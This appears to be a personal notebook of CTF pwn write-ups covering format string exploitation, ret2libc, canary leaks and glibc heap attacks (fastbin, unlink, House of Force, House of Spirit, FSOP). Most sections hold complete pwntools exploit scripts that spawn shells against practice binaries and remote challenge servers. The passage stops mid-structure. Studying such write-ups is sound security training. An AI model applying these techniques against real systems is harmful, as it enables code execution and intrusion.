The core of the problem is how to modify the value of the secret array. Change secret[0] to 85 or secret[1] to 68.

The obvious exploitation points are the two scanf functions asking for address and wish, as well as the improperly formatted printf.

Using the previous stack overflow approach definitely won't work due to the presence of canary.

The solution's approach is to write the address of secret[0] into the first scanf, then use printf('1234-%p-%p-%p-%p-%p-...-%p') and observe that the previously written address appears at the 7th %p. After restarting the program, use printf('%85d%7$n').

Then, for the spell input part, mmap is a memory mapping function with executable content, so a one-line shellcode is directly used.

io.sendline(asm(shellcraft.sh()))

Alternative Solution

Through debugging with IDA, it was found that the address of secret in the main function is not far from the non-canonical printf, within 100h.

If you are patient enough, you will find that after inputting 25 %p, the corresponding value is exactly the address of secret, and this value, like the previous 7, does not change. So the previous scanf for inputting the address is completely unnecessary.

exp:

# ctf.show + buuoj - libc6_2.27
from pwn import*
from LibcSearcher import*
context.arch = 'amd64'
context.log_level = 'debug'

#io = process('./3')
#io = remote('111.200.241.244',64533)

io.recv()
io.sendline('1')
io.recv()
io.sendline('east')
io.recv()
io.sendline('1')
io.recv()
#asking address
io.sendline('1')
io.recvline()
io.sendline('%85d%25$n')
io.recv()
io.sendline(asm(shellcraft.sh()))

io.interactive()

Fifth Space Finals Pwn5 — fmtstr

pwntools utility: fmtstr for format string vulnerabilities.

fmtstr_payload(offset, {address1: value1})

How to calculate the offset, for example:

your name:AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p 
Hello,AAAA-0xffffd0d8-0x63-(nil)-0xf7ffdb30-0x3-0xf7fc3420-0x1-(nil)-0x1-0x41414141-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025
// so the offset is 10

Exploit using the tool (tested):

from pwn import *
#io = process('./pwn')
io = remote('node4.buuoj.cn',27411)
context.log_level = 'debug'
#gdb.attach()

rand_addr = 0x804c044
payload = fmtstr_payload(10, {rand_addr:123456})
io.recv()
io.sendline(payload)
io.recv()
io.sendline('123456')
io.interactive()

Exploit without using the tool (though I don't fully understand the underlying details):

Updated on 2/25

$n represents the number of bytes successfully output previously, which in this case is four integers, i.e., 0x10.

Earlier, we calculated the offset to the input as 10, so starting from %10, we write 0x10 to the addresses 0x804c044 to 0x804c047.

Therefore, we can satisfy the condition by inputting 10101010 at the end.

from pwn import*

io=remote('node4.buuoj.cn',27411)

payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+=b'%10$n%11$n%12$n%13$n'

io.sendline(payload)
io.sendline(str(0x10101010))
io.interactive()

ctfshow-pwn-10: dota—int overflow+fmtstr+ret2libc

The first two issues were straightforward; learning that -2147483648 is its own opposite was something I just picked up from CSAPP.

Then came the format string vulnerability. fmtstr_payload threw an error, saying it only works within 32-bit ranges, so I had no choice but to construct it manually.

By manually outputting stack addresses, I determined the offset to be 8.

I was inexperienced at the time and kept trying to place the address of the data I wanted to modify before %25d%9$n or %25c%9$n (why do both work?). Eventually, after checking others' write-ups, I realized it must be placed after, just like in the printf function.

Then came the 64-bit ret2libc3, but I had no idea how others found the address for pop_rdi in their write-ups.

Complete script:

from pwn import *
from LibcSearcher import *
io = process('./dota.dota')
#io = remote('pwn.challenge.ctf.show', 28085)
context.log_level = 'debug'
elf=ELF('./dota.dota')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']

io.sendline('dota')
io.sendline('-2147483648')
io.recvuntil('Quick question: What is the maximum hero level in dota1?')
io.recv(3)
addr_str = io.recv(14)
addr_str = addr_str[:-1]
rand_addr = int(addr_str,16)

payload = b'%25c%9$n' + p64(rand_addr) # alternative '%25d%9$n'

io.sendline(payload)

pop_rdi = 0x4009b3 #???????
pop_ret = 0x40053e

payload1=b'a'*136+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

io.recvuntil('\x0a')
io.sendline(payload1)

str_first = io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')
puts_add=u64(str_first)
print(hex(puts_add))

libc=LibcSearcher('puts',puts_add)

libcbase=puts_add-libc.dump('puts')
sys_add=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')

payload2=b'a'*136+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_add)
io.sendline(payload2)
io.interactive()

fmtstr+ret2libc

Source code provided:

#include<stdio.h>

void main() {
	char str[1024];
	while(1) {
		memset(str, '\0', 1024);
		read(0, str, 1024);
		printf(str);
		fflush(stdout);
    }
}
//gcc -m32 -fno-stack-protector 9.2_fmtdemo4.c -o fmtdemo -g

Shellcode:

from pwn import *
io = process('./fmtdemo')
#io = remote('node4.buuoj.cn',27411)
context.log_level = 'debug'
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('fmtdemo')
#gdb.attach()

printf_got = elf.got['printf'] # 0x80fc010
libc_printf = libc.symbols['printf']
libc_system = libc.symbols['system']

io.sendline(p32(printf_got) + b'%4$s') # *plt = got, *got = real_addr
printf_addr = u32(io.recv()[4:8])
libc_base = printf_addr - printf_got
log.success("libc_base:"+hex(libc_base))

print(hex(printf_addr))
payload = fmtstr_payload(4, {printf_got:printf_addr-libc_printf+libc_system})

io.sendline(payload)

io.interactive()

bjdctf_2020_babyrop2 – ret2libc + fmtstr + canary

This serves as a small synthesis in the stack overflow series, utilizing a format string vulnerability to leak the canary value, followed by conventional ROP and 64-bit ret2libc. Overall, the difficulty is not high. (Mainly wanted to share my current code framework, which I personally find quite decent.)

from pwn import *
import sys

def exploit():
   puts_plt = elf.plt['puts']
   puts_got = elf.got['puts']
   vuln = elf.sym['vuln']
   pop_rdi = 0x400993
   ret = 0x4005f9

   io.recvuntil('to help u!\n')
   io.sendline('%7$p')
   canary = int(io.recv(18),16)
   log.success('canary-->'+hex(canary))

   io.recvuntil('u story!\n')
   payload1 = b'a'*24 + p64(canary) + p64(0)
   payload1 += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
   io.sendline(payload1)
   libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\0')) - libc.sym['puts']
   log.success('libc_base-->'+hex(libc_base))

   sys = libc_base + libc.sym['system']
   bin_sh = libc_base + next(libc.search(b'/bin/sh'))

   payload2 = b'a'*24 + p64(canary) + p64(0)
   payload2 += p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys)
   io.sendline(payload2) 


if __name__ == "__main__":
   io = process(sys.argv[1])
   elf = ELF(sys.argv[1])

   if sys.argv.__len__() == 2:
      libc = ELF('/home/junyu33/Desktop/libc/libc.so.6')
   elif sys.argv[2] == 'debug':
      gdb.attach(io, 'b *0x4008d9')
   elif sys.argv[2] == 'remote':
      libc = ELF('/home/junyu33/Desktop/libc/libc-2.23-x64.so')
      io = remote('node4.buuoj.cn', 27078)

   context(arch='amd64', os='linux', log_level='debug')

   #pause()
   exploit()

   io.interactive()

axb_2019_fmt32

Format string vulnerability with misaligned stack + ret2libc, with a character offset of 8.

def exploit():
   io.recvuntil('tell me:')
   payload1 = b'a' + p32(elf.got['puts']) + b'b' + b'%8$s' # 'a' to align the stack, 'b' to identify the address of 'puts'
   io.sendline(payload1)
   io.recvuntil('b')
   puts_addr = u32(io.recv(4))

   libc_base = puts_addr - libc.sym['puts']
   log.success('libc_base-->'+hex(libc_base))
   libc_sys = libc_base + libc.sym['system']

   payload2 = b'a'+fmtstr_payload(8, {elf.got['printf']:libc_sys}, numbwritten=10) # len('repeater:a') = 10
   io.sendafter('tell me:', payload2)
   payload3 = b';/bin/sh\0' # finish the last command and getshell
   io.sendline(payload3)

buu-n1book: fsb2——fmtstr on heap

Format string on the heap. Learning reference: https://www.anquanke.com/post/id/184717

The arbitrary address write script here has been adapted for 64-bit scenarios.

In 64-bit systems, elf_base typically starts with 0x55, while libc_base starts with 0x7f, with the last 12 bits being 0.

This script does not succeed every time for unknown reasons.

def write_address(off0,off1,target_addr):
   p.sendline("%{}$p".format(off1))
   p.recvuntil("0x")
   addr1 = int(p.recv(12),16)&0xff
   p.recv()
   for i in range(6):
      p.sendline("%{}c%{}$hhn".format(addr1+i,off0))
      p.recv()
      p.sendline("%{}c%{}$hhn".format((target_addr&0xff)+256,off1))
      p.recv()        
      target_addr=target_addr>>8
   p.sendline("%{}c%{}$hhn".format(addr1,off0))
   p.recv()

def exploit():
   p.sendline('%10$p%16$p%20$p%21$p')
   p.recvuntil('hello')
   addr1 = int(p.recv(14), 16) # 10
   addr2 = int(p.recv(14), 16) # 16
   addr3 = int(p.recv(14), 16) # 20
   addr4 = int(p.recv(14), 16) # 21
   # 10->16->20
   elf_base = addr3 - elf.sym['__libc_csu_init']
   libc_base = addr4 - libc.sym['__libc_start_main'] - 231 # debug
   elf_free = elf_base + elf.got['free']
   libc_sys = libc_base + libc.sym['system'] 
   
   write_address(10, 16, elf_free)
   write_address(16, 20, libc_sys)
   
   p.sendline(b'/bin/sh\0')

update on 2022/10/2:

The original code from the blog post had a minor flaw. Line 9 should be modified to p.sendline("%{}c%{}$hhn".format((target_addr&0xff)+256,off1)); otherwise, modifying a byte to 00 would fail. (This has been corrected here.)

axb_2019_fmt64

Python3's type conversion can be a bit of a headache...

def exploit():
   io.recvuntil('tell me:')
   payload1 =  b'%9$sAAAA' + p64(elf.got['puts'])
   io.sendline(payload1)

   puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
   libc_base = puts_addr - libc.sym['puts']
   log.success('libc_base-->'+hex(libc_base))
   libc_sys = libc_base + libc.sym['system']

   sys_high = (libc_sys >> 16) & 0xff
   sys_low = libc_sys & 0xffff
   
   # previous output has 9 bytes 
   len1 = bytes(str(sys_high - 9), encoding = 'utf-8')
   len2 = bytes(str(sys_low - sys_high), encoding = 'utf-8')
   payload2 = b"%" + len1 + b"c%12$hhn" # arugment 10, the higher 2 bytes
   payload2 += b"%" + len2 + b"c%13$hn" # argument 11, the last 4 bytes
   payload2 = payload2.ljust(32,b"A") + p64(elf.got['strlen'] + 2) + p64(elf.got['strlen'])

   io.sendafter('tell me:', payload2)
   payload3 = b';/bin/sh\0'
   io.sendafter('tell me:', payload3)

ciscn_2019_sw_1——fini.array

The main function only has one opportunity for a format string vulnerability, and stack overflow is prevented.

def exploit():
   printf_got = 0x804989c
   system_plt = 0x80483d0
   fini_array = 0x804979c
   main = 0x8048534

   header = p32(printf_got+2) + p32(fini_array+2) + p32(printf_got) + p32(fini_array) # len=0x10
   
   payload = '%' + str(0x804-0x10) + 'c%4$hn'
   payload += '%5$hn'
   payload += '%' + str(0x83d0-0x804) + 'c%6$hn'
   payload += '%' + str(0x8534-0x83d0) + 'c%7$hn'

   payload = header + payload.encode('utf-8')

   io.sendline(payload)
   io.sendline('/bin/sh\0')

pwnable_fsb (buu enhanced)

The original pwnable challenge was 32-bit without PIE enabled, but the version on buu is 64-bit with PIE enabled, which increases the difficulty.

Use $hhn to write 1 byte, $hn to write 2 bytes, $n to write 4 bytes, and $ln to write 8 bytes.

First, use the first format string to record elf_base, stack_base, and [rbp].

Then observe the stack and notice that there is no case where three consecutive chains are all stack addresses.

Observe the address pointed to by rbp (due to stack randomization, we need to use one format string to record [rbp] and calculate the offset from rsp):

It can be seen that the location [rbp] + 0x18 satisfies the requirement of having three chains on the stack. Since **([rbp] + 0x18) is not far from rbp, it can be rewritten in one go. The result is as follows:

Then, at rbp, change the last 16 bits of __libc_csu_init to the last 16 bits of target_addr. At [rbp] + 0x18, change **([rbp] + 0x18) to **([rbp] + 0x18) + 2 to prepare for modifying the middle 8 bits of __libc_csu_init.

Actually, simply changing **([rbp] + 0x18) to **([rbp] + 0x18) + 2 is sufficient; the first step doesn't really have any effect.

During the third format string, calculate the offset of *([rbp] + 0x18) and change the middle 8 bits of __libc_csu_init to the middle 8 bits of target_addr. At this point, __libc_csu_init becomes key.

Finally, I attempted to leak the value of key and input it, but the program seems to convert the result of strtoull into an int, making it impossible to match key. So I wrote 0 bytes at key using $ln, but for some unknown reason, key remains 1.

from pwn import *
elf_path = './pwn'
libc_path = '/home/junyu33/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so'

def exploit():
   key = 0x202040
   payload = '%14$p%12$p%18$p'
   io.sendline(payload)
   io.recvuntil('0x')
   elf_base = int(io.recv(12), 16) - 0xcb8
   io.recvuntil('0x')
   stack_base = int(io.recv(12), 16)
   io.recvuntil('0x')
   rbp_base = int(io.recv(12), 16)
   log.success('elf_base: ' + hex(elf_base))
   log.success('stack_base: ' + hex(stack_base))
   log.success('rbp_base: ' + hex(rbp_base))

   off0 = ((rbp_base + 0x18 - stack_base) >> 3) + 6
   off1 = off0 + 26
   target_addr = elf_base + key

   payload = "%{}c%{}$hn".format(rbp_base&0xffff, off0)
   payload += "%{}c%{}$hn".format((target_addr-rbp_base)&0xffff, 18)
   payload += "%{}c%{}$hn".format((rbp_base+2-target_addr)&0xffff, off0)
   io.sendline(payload)

   payload = "%{}c%{}$hhn".format((target_addr>>16)&0xff, off1)
   payload = payload.ljust(100, '\0')
   io.send(payload)

   io.recvuntil('Give me some format strings(4)\n')
   payload = "%{}c%{}$ln".format(0, off0-3)
   payload = payload.ljust(100, '\0')
   io.send(payload)
   io.send('1')


if __name__ == '__main__':
   context(arch='amd64', os='linux', log_level='debug')
   io = process(elf_path)
   elf = ELF(elf_path)
   libc = ELF(libc_path)

   if(sys.argv.__len__() > 1):
      if sys.argv[1] == 'debug':
         gdb.attach(io)
      elif sys.argv[1] == 'remote':
         io = remote('node4.buuoj.cn', 25094)
      elif sys.argv[1] == 'ssh':
         shell = ssh('fsb', 'node4.buuoj.cn', 25540, 'guest')
         io = shell.process('./fsb')

   exploit()
   io.interactive()
   io.close()

wustctf2020_babyfmt—partial_stderr

This challenge has a rather unique approach. Although there is a non-intended solution by Loτυs modifying the fmt_attack counter.

There is one use of a format string, allowing a one-byte arbitrary address leak once, and initially, scanf("%ld") can be used once to input a time.

When the input is not an integer, scanf rejects the input and returns three stack addresses, one of which is related to the ELF base address.

Since the last three bytes of libc are fixed, only the second-to-last byte of stderr needs to be leaked once.

Finally, use the format string to change the second-to-last byte of stdout to the second-to-last byte of stderr, while also changing the lower byte of the secret to \0.

fmtstr_payload is still too long (64 > 40), so it's better to do it manually.

def exploit():
   io.sendline('1.5')
   io.recvuntil('1:')
   elf_base = int(io.recvuntil(':')[:-1]) - 0xbd5
   stdout = elf_base + 0x202020
   stderr = elf_base + 0x202040
   secret = elf_base + 0x202060

   io.recv()
   leak(p64(stderr+1))
   stderr_1 = u8(io.recvuntil(b'1.')[-3:-2]) * 0x100 + 0x40
   log.info('stderr_1: ' + hex(stderr_1))

   # offset = 8
   payload = "%11$hn%" + str(stderr_1) + 'c%12$hn'
   payload = payload.encode('utf-8')
   payload = payload.ljust(0x18, b'\0') + p64(secret) + p64(stdout)
   fmt(payload)

   getflag('\0'*64)

heap

libc 2.23

libc 2.23 UAF

Using one_gadget:

def exploit():
   add(2, 0x100, '2')
   add(3, 0x10, 'protected')
   free(2)
   show(2)

   addr = u64(p.recv(6).ljust(8, b'\0'))
   libc_base = addr - libc.sym['__malloc_hook'] - 112
   malloc_hook = libc_base + libc.sym['__malloc_hook'] 
   one_gadget = libc_base + 0x4526a

   add(0, 0x60, '0')
   free(0)
   edit(0, p64(malloc_hook - 0x23))

   add(1, 0x60, '1')
   add(2, 0x60, b'2'*0x13 + p64(one_gadget))
   add(4, 0x60, '4')

babyheap_0ctf_2017 — Fastbin Attack

Cannot be reproduced locally in ubuntu18/libc2.26 and above, GDB debugging is not possible, so heap/stack diagrams are not included.

Reason: libc2.26 introduced the tcache mechanism.

Solution: Use patchelf or io = process([ld_path, elf_path], env={'LD_PRELOAD':libc_path})

Fastbin Attack

Vulnerability: Fill with arbitrary size

Type: Double Free

def exploit():
    alloc(0x18) #0
    alloc(0x68) #1
    alloc(0x68) #2
    alloc(0x18) #3
    fill(0,0x19,'a'*0x18+'\xe1')
    free(1)
    alloc(0x68) #1
    dump(2)

    p.recvuntil('Content: \n')
    leak = u64(p.recvline()[:8])
    libc_base=leak-(0x7fc4a1902b78-0x7fc4a153e000) # GDB debug libc
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    onegadget=libc_base+0x4526a # one_gadget

    alloc(0x68) #4
    free(2)
    fill(4,0x8,p64(malloc_hook-0x23)) # To satisfy the condition that the last 3 bits of the size are all '1's, it's '\x7f' here.
    alloc(0x68) #2
    alloc(0x68) #5
    fill(5,0x1b,'a'*0x13+p64(onegadget))
    alloc(0x18)
    p.interactive()

[ZJCTF 2019]EasyHeap—Fastbin Double Free

This heap challenge is slightly easier than the 0ctf2017 heap problem, as it does not require leaking the __malloc_hook function.

def exploit():
   Alloc(0x18, '0')
   Alloc(0x68, '1')
   Alloc(0x68, '2')
   Alloc(0x18, '3')
   Edit(0, 0x19, 'a'*0x18 + '\xe1')
   Free(1)

   magic = 0x6020ad
   Alloc(0x68, '1')
   Alloc(0x68, '4') # 2

   Free(2)
   Edit(4, 8, p64(magic))
   Alloc(0x68, '2')
   Alloc(0x68, '5')
   Edit(5, 8, '12345678')

   io.sendline('4869')

babyfengshui_33c3_2016

Partial RELRO, allowing modification of the GOT and PLT tables.

Program timeout restriction removed—replaced the alarm function with the isnan function.

sed -i s/alarm/isnan/g ./ProgrammName
  1. Bypass the length check by separating the name chunk from the description chunk.
  2. Overflow the 0th chunk and write free.got into the 1st chunk to leak the libc version.
  3. Change free.got to system.got.
  4. Obtain a shell by freeing the second chunk containing /bin/sh.
def exploit():
   Add(0x80, 0x80, 'a')
   Add(0x80, 0x80, 'b')
   Add(0x8, 0x8, '/bin/sh\0')

   Del(0)
   Add(0x100, 0x19c, b'a'*0x198 + p32(elf.got['free']))
   Dis(1)
   io.recvuntil('description: ')
   free_addr = u32(io.recv(4))
    
   libc_base = free_addr - libc.sym['free']
   log.success('libc_base->'+hex(libc_base))
   sys = libc_base + libc.sym['system']
   Upd(1, 4, p32(sys))
    
   Del(2)

hitcontraining_heapcreator - Off by One + Chunk Overlapping

First, use a heap overflow to modify the size field at 0xe5548 from 0x21 to 0x41, achieving an off-by-one overflow.

Observe the heap layout after deletion and reallocation.

After deletion, two fastbins are formed at 0xe5540 and 0xe55060.

Then, after reallocating, a 0x20 chunk will be allocated at 0xe55060, along with a 0x40 chunk at 0xe55040.

At this point, the heap pointer of the 0x20 chunk can be directed to free.got, allowing free.got to be overwritten with libc.sys. Then, freeing the chunk containing /bin/sh will execute a shell.

def exploit():
   add(0x18, 'aaaaaa')
   add(0x18, 'bbbbbb')
   edit(0, b'/bin/sh\0'+b'a'*0x10+b'\x41')
   add(0x38, 'protected')
   delete(1)
   add(0x30, p64(0)*4 + p64(0x30) + p64(elf.got['free']))

   libc_base = u64(show(1).ljust(8, b'\x00')) - libc.sym['free']
   libc_sys = libc_base + libc.sym['system']

   edit(1, p64(libc_sys))
   delete(0)

roarctf_2019_easy_pwn—off by one+realloc_hook

Due to the stack environment, it is necessary to use realloc_hook+4 to satisfy the conditions of the one_gadget.

The principle is to adjust the number of pushes so that [rsp+0x70] aligns exactly with a null position.

As shown below, set a breakpoint in gdb at the calloc(realloc_hook+4) function, and run to this point to examine the values near [rsp+0x70]:

pwndbg> x/16gx $rsp+0x70
0x7fff9700beb8: 0x000055e7e5e011ec      0x0000000000000000
0x7fff9700bec8: 0x6acb57d5bd5773a9      0x000055e7e5e009a0
0x7fff9700bed8: 0x00007fff9700bf70      0x0000000000000000
0x7fff9700bee8: 0x0000000000000000      0x3efbb214e59773a9
0x7fff9700bef8: 0x3f549cd4b72773a9      0x0000000000000000
0x7fff9700bf08: 0x0000000000000000      0x0000000000000000
0x7fff9700bf18: 0x00007fff9700bf88      0x00007f2800bda168
0x7fff9700bf28: 0x00007f28009c380b      0x0000000000000000

The assembly of __libc_realloc is as follows. It may require several attempts to find the correct jump address.

pwndbg> disass __libc_realloc                                                          
Dump of assembler code for function __GI___libc_realloc:                               
   0x00007f15184fae80 <+0>:     endbr64                                                
   0x00007f15184fae84 <+4>:     push   r15                                             
   0x00007f15184fae86 <+6>:     push   r14                                             
   0x00007f15184fae88 <+8>:     push   r13                                             
   0x00007f15184fae8a <+10>:    push   r12                                             
   0x00007f15184fae8c <+12>:    mov    r12,rsi                                         
   0x00007f15184fae8f <+15>:    push   rbp                                             
   0x00007f15184fae90 <+16>:    mov    rbp,rdi                                         
   0x00007f15184fae93 <+19>:    push   rbx                                             
   0x00007f15184fae94 <+20>:    sub    rsp,0x18  

Local exploit code (change 0xf1247 to 0xf1147 for remote).

def exploit():
   add(0x18) #0
   add(0x18) #1
   add(0xa8) #2
   add(0x18) #3
   edit(0, 0x18+10, b'/bin/sh\0'+b'\0'*0x10+b'\x41')
   edit(2, 0x19, b'\0'*0x18+b'\x91')
   edit(3, 9, 'protected')

   free(1)
   add(0x38)
   edit(1, 0x20, p64(0)*3 + p64(0xb1))
   free(2)

   libc_base = u64(show(1))- libc.sym['__malloc_hook'] - 0x68
   print(hex(libc_base))
   malloc_hook = libc_base + libc.sym['__malloc_hook']
   realloc_hook = libc_base + libc.sym['realloc'] 
   one_gadget = libc_base + 0xf1247
   add(0xa8)

   add(0x28) #4
   add(0x28) #5
   add(0x68) #6
   add(0x28) #7
   edit(4, 0x28+10, b'\0'*0x28 + b'\xa1')
   free(5)
   add(0x98)

   edit(5, 0x30, p64(0)*5 + p64(0x71))
   free(6)
   edit(5, 0x38, p64(0x12345678)*4 + p64(0) + p64(0x71) + p64(malloc_hook - 0x23))

   add(0x68) #6
   add(0x68) #7
   edit(8, 0x1b, b'a'*11 + p64(one_gadget) + p64(realloc_hook+4))
   add(0x68)

For the unlink part, the fake_chunk is constructed with the following formula:

For the leak puts part, unlink modifies the control pointer to the GOT table, and the edit function effectively modifies values inside the GOT table. At this point, free(2) is equivalent to elf.plt['puts'](elf.got['puts']), thereby printing the address of libc_puts to obtain libc_base.

The method for getting a shell is similar to leaking puts.

def exploit():
   # unlink
   add(0x18) #1 0x602148
   add(0x38) #2
   add(0x88) #3
   add(0x18) #4
   fake_chunk = p64(0)+p64(0x31)+p64(buf_ptr-0x18)+p64(buf_ptr-0x10)
   fake_chunk = fake_chunk.ljust(0x30, b'\x00')+p64(0x30)+p64(0x90)
   edit(2, len(fake_chunk), fake_chunk)
   free(3)
   #leak puts
   payload = p64(0)*2+p64(elf.got['free'])+p64(elf.got['puts'])
   edit(2, len(payload), payload)
   edit(1, 8, p64(elf.plt['puts']))
   free(2)
   #get libc
   libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.symbols['puts']
   libc_sys = libc_base + libc.sym['system']
   #getshell
   edit(1, 8, p64(libc_sys))
   edit(4, 8, '/bin/sh\0')
   free(4)

This challenge involves a trailing null byte when creating and editing strings (an off-by-null, which also becomes a debugging obstacle), but the main vulnerability is a heap overflow.

Unlink solution (without using the provided backdoor):

def exploit():
   buf_ptr = 0x6020d8
   add(0x18, 'aaaa') #0 0x6020c8
   add(0x38, 'bbbb') #1 0x6020d8
   add(0x88, 'cccc') #2
   add(0x18, '/bin/sh\0') #3
   fake_chunk = p64(0)+p64(0x31)+p64(buf_ptr-0x18)+p64(buf_ptr-0x10)
   fake_chunk = fake_chunk.ljust(0x30, b'\x00')+p64(0x30)+p64(0x90)
   edit(1, len(fake_chunk)-1, fake_chunk[:-1]) # fuck off the rear zero!
   free(2)
   
   payload = p64(0x18)+p64(elf.got['free'])+p64(0x38)+p64(buf_ptr-0x18)+p64(0x88)+p64(elf.got['puts'])
   edit(1, len(payload)-1, payload[:-1])
   edit(0, 7, p64(elf.plt['puts'])[:-1])
   free(2)

   libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.symbols['puts']
   libc_sys = libc_base + libc.sym['system']
   print(hex(libc_base))

   edit(0, 7, p64(libc_sys)[:-1])
   free(3)

Since it uses libc 2.27 or below, the House of Force solution is also feasible. This method replaces the address of goodbye_message with the address of magic, thereby reading the flag from a specified path upon exit:

def exploit():
   magic = 0x400d49

   add(0x38, b'aaaa')
   edit(0, 0x40, b'c'*0x38+p64(0xffffffffffffffff))

   offset_to_heap_base = -(0x40+0x20)
   malloc_size = offset_to_heap_base - 0x8 - 0xf
   add(malloc_size, 'dddd')
   add(0x10, p64(0)+p64(magic))

   io.sendline('5')

Regarding the constants 0x8 and 0xf:

We need to ensure that request2size converts to the corresponding size exactly, meaning we need to make ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK equal to -4112. First, it is clear that -4112 is chunk-aligned, so we only need to subtract SIZE_SZ and MALLOC_ALIGN_MASK from it to get the required allocation value.

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-force/#1

#ifndef INTERNAL_SIZE_T
#define INTERNAL_SIZE_T size_t
#endif

/* The corresponding word size */
#define SIZE_SZ                (sizeof(INTERNAL_SIZE_T))


/*
  MALLOC_ALIGNMENT is the minimum alignment for malloc'ed chunks.
  It must be a power of two at least 2 * SIZE_SZ, even on machines
  for which smaller alignments would suffice. It may be defined as
  larger than this though. Note however that code and data structures
  are optimized for the case of 8-byte alignment.
*/


#ifndef MALLOC_ALIGNMENT
# if !SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_16)
/* This is the correct definition when there is no past ABI to constrain it.

   Among configurations with a past ABI constraint, it differs from
   2*SIZE_SZ only on powerpc32.  For the time being, changing this is
   causing more compatibility problems due to malloc_get_state and
   malloc_set_state than will returning blocks not adequately aligned for
   long double objects under -mlong-double-128.  */

#  define MALLOC_ALIGNMENT       (2 *SIZE_SZ < __alignof__ (long double)      \
                                  ? __alignof__ (long double) : 2 *SIZE_SZ)
# else
#  define MALLOC_ALIGNMENT       (2 *SIZE_SZ)
# endif
#endif

/* The corresponding bit mask value */
#define MALLOC_ALIGN_MASK      (MALLOC_ALIGNMENT - 1)

/* The smallest size we can malloc is an aligned minimal chunk */
#define MINSIZE  \
  (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))

/* pad request bytes into a usable size -- internal version */

#define request2size(req)                                         \
  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?             \
   MINSIZE :                                                      \
   ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

lctf2016_pwn200—House of Spirit

The main points of the House of Spirit technique include:

  • Targets fastbins;
  • The ISMMAP bit in the constructed size field must not be 1;
  • The pointer must point to the data area of the previous chunk;
  • The distance between the chunk and the next chunk is the size of the previous chunk.

The stack frame layout is as shown (top is func 0x400a29, middle is func 0x400a8e, bottom is the main function):

Note that the return value of the getid function at the end of func 0x400a8e is also important:

.text:0000000000400B24 48 98                         cdqe
.text:0000000000400B26 48 89 45 C8                   mov     [rbp+var_38], rax
.text:0000000000400B2A B8 00 00 00 00                mov     eax, 0
.text:0000000000400B2F E8 F5 FE FF FF                call    sub_400A29
.text:0000000000400B2F
.text:0000000000400B34 C9                            leave
.text:0000000000400B35 C3                            retn

It stores the return value at rbp-0x38, which is the size field of the constructed next chunk.

def exploit():
   io.recvuntil('who are u?')
   io.send(shellcode.ljust(48, b'a'))
   rbp = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\0'))  # the start of line 13

   fake_addr = rbp - 0x90  # the start of line 4
   shellcode_addr = rbp - 0x50  # the start of line 8

   io.recvuntil('id ~~?')
   io.sendline('48')  # store at [rbp - 0x38]
   io.recvuntil('money~')

   payload = p64(0)*5 + p64(0x40)
   payload = payload.ljust(0x38, b'\0') + p64(fake_addr)  # overlap the heap pointer to fake_addr
   io.send(payload)  # fill the fake_chunk

   io.recvuntil('choice : ')
   io.sendline('2')  # free the fake_chunk
   io.recvuntil('choice : ')
   io.sendline('1')
   io.sendline('48')  # alloc again, must be (fake_chunk size - 0x10)

   payload = b'a'*0x18 + p64(shellcode_addr)  # overflow 0x400a8e to shellcode_addr
   io.send(payload)

   io.sendline('3')

houseoforange_hitcon_2016—unsortedbin attack + FSOP

In the original edit function, there is no length check, allowing for heap overflow. There are also restrictions on the number of add and edit operations.

Regarding the FILE structure:

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
